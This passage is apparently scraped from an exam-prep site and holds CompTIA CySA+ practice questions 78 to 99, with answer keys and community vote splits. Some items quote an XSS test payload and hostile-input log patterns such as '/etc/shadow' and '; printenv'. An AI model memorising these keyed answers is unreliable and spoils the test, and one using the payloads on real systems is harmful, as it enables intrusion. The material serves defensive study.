data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization: Which of the following vulnerabilities should be prioritized for remediation? A. 1 B. 2 C. 3 D. 4 D Community vote distribution D (100%) 31 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #78 Topic 1 Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below: Which of the following should the security analyst prioritize for remediation? A. rogers B. brady C. brees D. manning B Community vote distribution B (89%) 11% Question #79 Topic 1 A security analyst must preserve a system hard drive that was involved in a litigation request. Which of the following is the best method to ensure the data on the device is not modi ed? A. Generate a hash value and make a backup image. B. Encrypt the device to ensure con dentiality of the data. C. Protect the device with a complex password. D. Perform a memory scan dump to collect residual data A Community vote distribution A (100%) 32 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #80 Topic 1 Which of the following best describes the goal of a tabletop exercise? A. To test possible incident scenarios and how to react properly B. To perform attack exercises to check response effectiveness C. To understand existing threat actors and how to replicate their techniques D. To check the effectiveness of the business continuity plan A Community vote distribution A (88%) 13% Question #81 Topic 1 A virtual web server in a server pool was infected with malware after an analyst used the internet to research a system issue. After the server was rebuilt and added back into the server pool, users reported issues with the website, indicating the site could not be trusted. Which of the following is the most likely cause of the server issue? A. The server was con gured to use SSL to securely transmit data. B. The server was supporting weak TLS protocols for client connections. C. The malware infected all the web servers in the pool. D. The digital certi cate on the web server was self-signed. D Community vote distribution D (81%) C (19%) 33 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #82 Topic 1 A zero-day command injection vulnerability was published. A security administrator is analyzing the following logs for evidence of adversaries attempting to exploit the vulnerability: Which of the following log entries provides evidence of the attempted exploit? A. Log entry 1 B. Log entry 2 C. Log entry 3 D. Log entry 4 A Community vote distribution A (54%) C (31%) B (15%) Question #83 Topic 1 A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts. The analyst is working with the respective system owners to help determine the best methodology that seeks to promote con dentiality, availability, and integrity of the data being hosted. Which of the following should the security analyst perform rst to categorize and prioritize the respective systems? A. Interview the users who access these systems. B. Scan the systems to see which vulnerabilities currently exist. C. Con gure alerts for vendor-speci c zero-day exploits. D. Determine the asset value of each system. D Community vote distribution D (100%) 34 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #84 Topic 1 A security analyst is reviewing the following alert that was triggered by FIM on a critical system: Which of the following best describes the suspicious activity that is occurring? A. A fake antivirus program was installed by the user. B. A network drive was added to allow ex ltration of data. C. A new program has been set to execute on system start. D. The host rewall on 192.168.1.10 was disabled. C Community vote distribution C (80%) B (20%) Question #85 Topic 1 Which of the following best describes the document that de nes the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.? A. SLA B. LOI C. MOU D. KPI A Community vote distribution A (100%) 35 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #86 Topic 1 A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the following best describes the activity that is taking place? A. Data ex ltration B. Rogue device C. Scanning D. Beaconing D Community vote distribution D (100%) Question #87 Topic 1 An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two). A. Drop the tables on the database server to prevent data ex ltration. B. Deploy EDR on the web server and the database server to reduce the adversary’s capabilities. C. Stop the httpd service on the web server so that the adversary can not use web exploits. D. Use microsegmentation to restrict connectivity to/from the web and database servers. E. Comment out the HTTP account in the /etc/passwd le of the web server. F. Move the database from the database server to the web server. BD Community vote distribution BD (100%) 36 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #88 Topic 1 An incident response team member is triaging a Linux server. The output is shown below: Which of the following is the adversary most likely trying to do? A. Create a backdoor root account named zsh. B. Execute commands through an unsecured service account. C. Send a beacon to a command-and-control server. D. Perform a denial-of-service attack on the web server. B Community vote distribution B (93%) 7% Question #89 Topic 1 A SOC analyst identi es the following content while examining the output of a debugger command over a client-server application: getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd"); Which of the following is the most likely vulnerability in this system? A. Lack of input validation B. SQL injection C. Hard-coded credential D. Buffer over ow C Community vote distribution C (86%) 14% 37 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #90 Topic 1 A technician is analyzing output from a popular network mapping tool for a PCI audit: Which of the following best describes the output? A. The host is not up or responding. B. The host is running excessive cipher suites. C. The host is allowing insecure cipher suites. D. The Secure Shell port on this host is closed. C Community vote distribution C (100%) 38 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #91 Topic 1 A managed security service provider is having di culty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network. Which of the following would best aid in decreasing the workload without increasing staff? A. SIEM B. XDR C. SOAR D. EDR C Community vote distribution C (88%) 13% Question #92 Topic 1 An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence? A. Disable the user’s network account and access to web resources. B. Make a copy of the les as a backup on the server. C. Place a legal hold on the device and the user’s network share. D. Make a forensic image of the device and create a SHA-1 hash. D Community vote distribution D (62%) C (38%) Question #93 Topic 1 An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity? A. Insider threat B. Ransomware group C. Nation-state D. Organized crime C Community vote distribution C (67%) D (33%) 39 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #94 Topic 1 A systems analyst is limiting user access to system con guration keys and values in a Windows environment. Which of the following describes where the analyst can nd these con guration items? A. con g.ini B. ntds.dit C. Master boot record D. Registry D Community vote distribution D (100%) Question #95 Topic 1 While reviewing web server logs, a security analyst found the following line: < IMG SRC='vbscript:msgbox("test")' > Which of the following malicious activities was attempted? A. Command injection B. XML injection C. Server-side request forgery D. Cross-site scripting D Community vote distribution D (100%) Question #96 Topic 1 A security analyst at a company called ACME Commercial notices there is outbound tra c to a host IP that resolves to https:// o ce365password.acme.co. The site’s standard VPN logon page is www.acme.com/logon. Which of the following is most likely true? A. This is a normal password change URL. B. The security operations center is performing a routine password audit. C. A new VPN gateway has been deployed. D. A social engineering attack is underway. D Community vote distribution D (100%) 40 of 103 7/21/2024, 3:37 AM CS0-003 Exam - Free Actual Q&As, Page 1 | ExamTopics https://www.examtopics.com/exams/comptia/cs0-003/custom-view/ Question #97 Topic 1 A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, con gures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this con guration? A. Operating system version B. Registry key values C. Open ports D. IP address B Community vote distribution B (100%) Question #98 Topic 1 A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability? A. /etc/shadow B. curl localhost C. ; printenv D. cat /proc/self/ A Community vote distribution A (92%) 8% Question #99 Topic 1 A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk o